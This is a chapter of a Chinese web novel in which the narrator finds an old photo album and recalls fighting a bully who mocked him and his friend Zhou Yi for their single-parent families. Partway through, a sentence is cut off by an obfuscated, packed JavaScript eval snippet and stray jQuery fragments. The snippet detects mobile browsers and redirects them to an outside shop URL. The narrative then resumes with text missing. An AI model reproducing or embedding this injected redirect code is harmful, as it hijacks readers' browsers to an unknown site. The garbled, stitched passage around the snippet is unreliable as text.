说起跟周颐表白这件事,我可是提前做了不少准备。
自从穿越到九年后,我便整日琐事缠身,若不是偶然在卧室里翻出一本旧相册,我都快忘记这件事了。
这相册放在书桌的抽屉里——就是桌面上摆着我大头照的那个书桌。我本是想找找周颐的高考成绩条,看看她高考到底考成什么样了,却翻出了这本相册。里面有不少我和周颐的合照,从小学到高中,差不多有近两百张。
我甚至在这个相册中看到了我和周颐二年级春游时的合照。照片里我们一个抬头看天,一个低头望地,我还记得那时班上的同学笑话我们,说我俩一个举头望明月,一个低头思故乡。
照片里的孩子大多手里都拿着小国旗——2008年北京举办了第二十九届奥运会,那时满大街都在卖手持的小国旗和国旗贴纸,就连街道的墙面上都画满奥运吉祥物彩绘,只要打开电视,就能看到循环播放的《北京欢迎你》。
我翻着那些熟悉的照片,忽然记起一件事——好像在我穿越的几个月前,我在其中一张合照的背面写了字。
高三下学期开学前几天,我买了一台拍立得。为了能让干巴巴的告白浪漫一点,我提前拉着周颐拍了好多照片,还在其中一张照片后写了一句自认为很深情的话。
周颐从小就喜欢看书,高三那年,她迷上了各种诗集,例如什么聂鲁达,什么阿多尼斯。我找借口将她那些诗集借了过来,然后挑了一句最贴合我心境的诗,摘抄到照片后面,又特意覆上一层不透光的塑封薄膜。
虽然这照片看起来平平无奇,但是只要把塑料膜揭下来,就能看到后面的字。
我在厚厚的相册里翻找了许久,总算是找到了那张照片。照片中我和周颐并肩站在教学楼后面的花园里,我双手托着小花,将它高高举过头顶。
我将照片翻过来一看,那张薄膜还在,可似乎是因为时间过去太久了,薄膜粘得不太牢固,我不过轻轻搓了一下,它便掉了下来,露出了我抄的那句诗。
没想到这么多年过去了,周颐竟然没发现这张照片内藏玄机。
解思明啊解思明,你是没长嘴吗,都结婚了周颐竟然还没发现,你就不能提醒她一下吗?
想起27岁的那个解思明,我忍不住叹了口气。
突然间,卧室门外传来一阵脚步声,我心头一紧,赶紧把这张照片往相册里一夹,然后丢回抽屉里。下一秒,周颐便敲响了我的房门。
“表弟,你吃冰淇淋吗?我买了两盒。”
想着自己刚刚为了找到周颐的成绩条翻箱倒柜半天,我心虚不已。为了掩饰这份心虚,我立刻点头如捣蒜:“吃!”
周颐买的冰淇淋一个是香草味的,一个是巧克力味的。还没等我说话,她便自然而然地将香草味冰淇淋递到了我眼前。
我从小便喜欢吃香草味的冰淇淋。可我现在是解思明的表弟“段蘅”,周颐应当是不知道我那个便宜表弟喜欢吃什么。
还在读小学的时候,几乎每天放学我们都会在路上买冰淇淋吃,小卖部的老板娘都快认识我们两个了。因为周颐没什么零花钱,所以一般是我请客。
聿诚小学和聿诚中学挨在一起,只不过小学部独自占用一个校园,而初高中部则是共用一个校园。由于学校离家很近,平常我们都是走路回家。
可还在小学的时候,这条路对于我和周颐来说却是煎熬且漫长的。
我依稀记得一年级的某次家长会结束后,好像是家委会的一个家长听说了我和周颐的家庭情况,转头便告诉了自己的孩子。我不知道他们是怎么向自己的孩子解释“单亲家庭”这四个字的,反正等到第二天上学,我便成了某些人口中没妈的孩子。
当然,周颐自然也成了他们口中没爹的孩子。
不是所有孩子都会嘲笑我们,可总是有那么一两个刺头天天揪着我们不放。隔壁班有个叫王润礼的孩子,更是每日都跟在我们屁股后面,一边大声宣传着我是有娘生没娘养的孤儿,一边笑话周颐的老爹跟别的女人跑了。
明明只是六岁的小孩子,可王润礼怎么能这么坏呢?
从那天起,我便知道书本上所说的“人性本善”,大抵都是胡扯。
王润礼的回家路线恰好与我们重合,若是两个班同时放学,他便兴奋得像只得了骨头的狗一样追在我们屁股后面跑,一直追到殡仪馆的院子门口,然后笑话我们住在棺材楼里。
那时我们刚上学没多久,周颐还没养成谨小慎微的性格。也许正是因为住在殡仪馆的家属楼,我和周颐的胆子远比同龄人要大,也都不是什么软柿子。王润礼嘲笑我们,我们便会一起骂回去,他要是朝我们扔石头、吐口水,我们便会捡起石头砸回去、吐回去——毕竟王润礼只有一张嘴,可我们有两张。
一年级的时候我爸还没发达,周颐家也穷得稳定,我们没订学生奶,除了中午的营养餐之外,早晚吃的都是青菜、馒头之类的东西。因为营养跟不上,虽然同为一年级的小学生,每天都吃钙片、喝龙牡壮骨颗粒的王润礼却比我们高出整整一个头。
那时的周颐个子矮,声音小,看起来就好欺负,而我瘦得像只猴子,手腕细得一掰就断。每当被王润礼欺负时,我便会想着什么时候才能长大,也许长大之后,我会变得又高又强壮,就像《英雄七个半》里的主角那样,这样便再也没人敢看轻我和周颐。
那段时间,见我们屡屡反抗,王润礼便开始变本加厉地刁难我们,有时是扯着周颐的领子不让她去上音乐课,把她勒得一张脸红得像番茄,有时是在上体育课的时候莫名其妙地踹在我的小腿上。
不过这也是没有办法的事,凭借着身高和体力的优势,王润礼几乎是把我们两个小弱鸡按在地上揍。
我还记得某个傍晚,周颐忘了把语文练习册装到书包里,我们本来都快到家了,却只好掉头回学校去取。刚走到校门口,就遇到了做完值日往出走的王润礼。
白天上课的时候,王润礼把我的铅笔扔到了我的水杯里,当时我立刻举手告诉了老师。班主任罚他在班级门口站了一整节课,气得他下课后哭了好久。
此时的王润礼眼眶依旧泛红,见到我们,他立刻阴阳怪气地开口道:“两个孤儿怎么回学校了?”
“不会是棺材楼都住不了了,只能回来睡课桌吧?”
“学校又不是你家,我们想来就来,关你什么事?”周颐翻了个白眼,拉着我就想绕过他。
“那也不是你家,你别把我拖的地踩脏了,我不让你进教室!”
话音刚落,他便狠狠地推了一下周颐的脑袋。只听“咣”的一声,周颐的后脑勺便重重地撞在身后的宣传栏上,疼得她表情都有一瞬的扭曲,随后便忍不住哭了起来。
周颐哭得上气不接下气,我慌忙把她扶了起来,又摸了摸她的脑袋,见没出血,这才松了一口气。
我对她说:“周颐,你别哭,你先回家。”
随后,我冲了上去,跟王润礼扭打在一处:“谁说我们是孤儿,我们有家,殡仪馆家属楼就是我们的家!”
“死人才住棺材里呢!”王润礼不甘示弱,他一边说着,一边把书包丢到一旁,然后抓着我的头发狠狠地将我的脑袋往地上磕,我的鼻梁重重撞在地上的碎石上,疼得我龇牙咧嘴。
我感觉到有一股温热的液体从鼻子里流了下来,随后便看到了地上滴落的鲜血——没想到周颐的头没出血,我反倒先挂了彩。
“你就是孤儿,你妈死了,你就是孤儿!”王润礼说。
我揪着他的领子吼道:“我有妈!周阿姨就是我妈!”
“我爸就是周颐的爸,你不准说我们是孤儿!”
一旁的周颐擦干眼泪,抓起她那印着神兵小将的书包一下又一下地砸在王润礼身上,铅笔盒从书包里掉了出来,一脚便被王润礼踩碎了。见王润礼还是不放开我,周颐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837971|211529||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
便立刻去找了学校保安。没过一会,保安便匆匆赶来把我们拉开。
我的衣服被扯得破破烂烂的,鼻梁上有一处明显的淤青,鼻血糊满了下半张脸。可王润礼也没好到哪去,他的脸上、胳膊上有很多细小的伤口,手指还被我咬出了血。
通常在大人们的眼中,小孩子嘛,闹点矛盾是很正常的事。可看着我俩这么狼狈的样子,保安实在是没办法置之不理,于是便问我们是哪个班的,班主任是谁。
王润礼支支吾吾地站在保安面前,趁着保安的注意力暂时落在他身上,我立刻拉起周颐,一溜烟地跑回了家,连语文练习册都没来得及回教室拿。
等进了院子,我们才气喘吁吁地放慢脚步。我扯过周颐的胳膊,又摸了摸她的后脑勺,发现那里竟然肿了个大包。
摸着这个包,我莫名地想起了之前在花鸟市场看到的罗汉鱼,于是便认真地跟周颐说:“周颐,你今晚只能侧着睡了。”
周颐咧着嘴,欲哭无泪地点了点头。
以往被嘲笑、被欺负,哪怕是受了天大的委屈,我和周颐也从未跟各自的父母说过,这几乎成了我们之间的一种默契。虽然是单亲家庭,但是我爸和周阿姨都对自己的孩子倾注了所有的爱,我们不想让他们伤心。
所以,今天跟王润礼打架的事也绝对不能让他们知道。
周颐虽然灰头土脸的,但她只是后脑勺肿了个大包,表面上看不出什么异样,回到家后,她随便跟周阿姨撒了个谎便搪塞了过去。而我爸每天忙得脚打后脑勺,看我脸上有伤,也只是随口问了一句,我说是回来的路上掉沟里了,他便也没多做怀疑。
第二天,我和周颐胆战心惊地上了学。可除了周颐因为没做语文作业而被罚站之外,直到放学都无事发生。
我不清楚王润礼是怎么骗过了父母,又找了什么借口在保安面前蒙混过关,总之这件事就不了了之了。
后来,王润礼的奶奶来找过我和周颐,她不像是来找我们麻烦的,只是一遍又一遍地让我们和王润礼好好相处,她说我们三个都是苦命的孩子。
我们不懂她话中的意思,只是一个劲地摇头。
我说:“王润礼打我,还扯烂了我的衣服。”
周颐补充道:“他还踩坏了我的铅笔盒。”
我们以为王润礼的奶奶大抵会说“你们这两个小孩怎么这么斤斤计较,这么点小事非要揪着不放”之类的话,可她却只是叹了口气:“你们这不也打他了吗?”
听到这话,我还是梗着脖子,半点不肯退让:“那也是他先欺负我们的!”
我至今也不知道王润礼最开始为什么会针对我和周颐,到底是因为我们是单亲家庭的孩子,还是因为我们住在殡仪馆家属楼,总之从打架那天起,他再也没来招惹过我们。
当然,王润礼并不是唯一一个欺负我和周颐的人。因为我们的家庭情况和住处,我们总是不得不承受着旁人若有若无的排挤与霸凌。他们说我晦气,还一次又一次地拉着周颐去扮演动画片里的反派。
我们花了整整六年的时间跟他们斗争,结成了最稳固的同盟。
就因为这些破事,小学六年间我打了不少架。虽然我百般遮掩,可我爸还是被叫去学校四五次。不过这样的情况到了初中却突然消失了——王润礼没留在聿诚继续读初中,剩下的那些曾经霸凌我和周颐的孩子,要么去了别的学校,要么分散在不同的班级。
后来我才知道,原来王润礼无父无母,从小便是奶奶带大的。小学毕业后没多久,他就因为先天性心脏病而去世了。
总而言之,不再有人揪着我们的身世不放,也不再有人叫我们孤儿。面对全然陌生的新同学,我们开始共用一对父母。
人家问起我妈,我就会说我妈姓周,在药店工作。同样的,若是有人提起周颐的爸爸,她就会挪用我爸的人设。
我们用彼此的父母,拼凑出一个完整的家。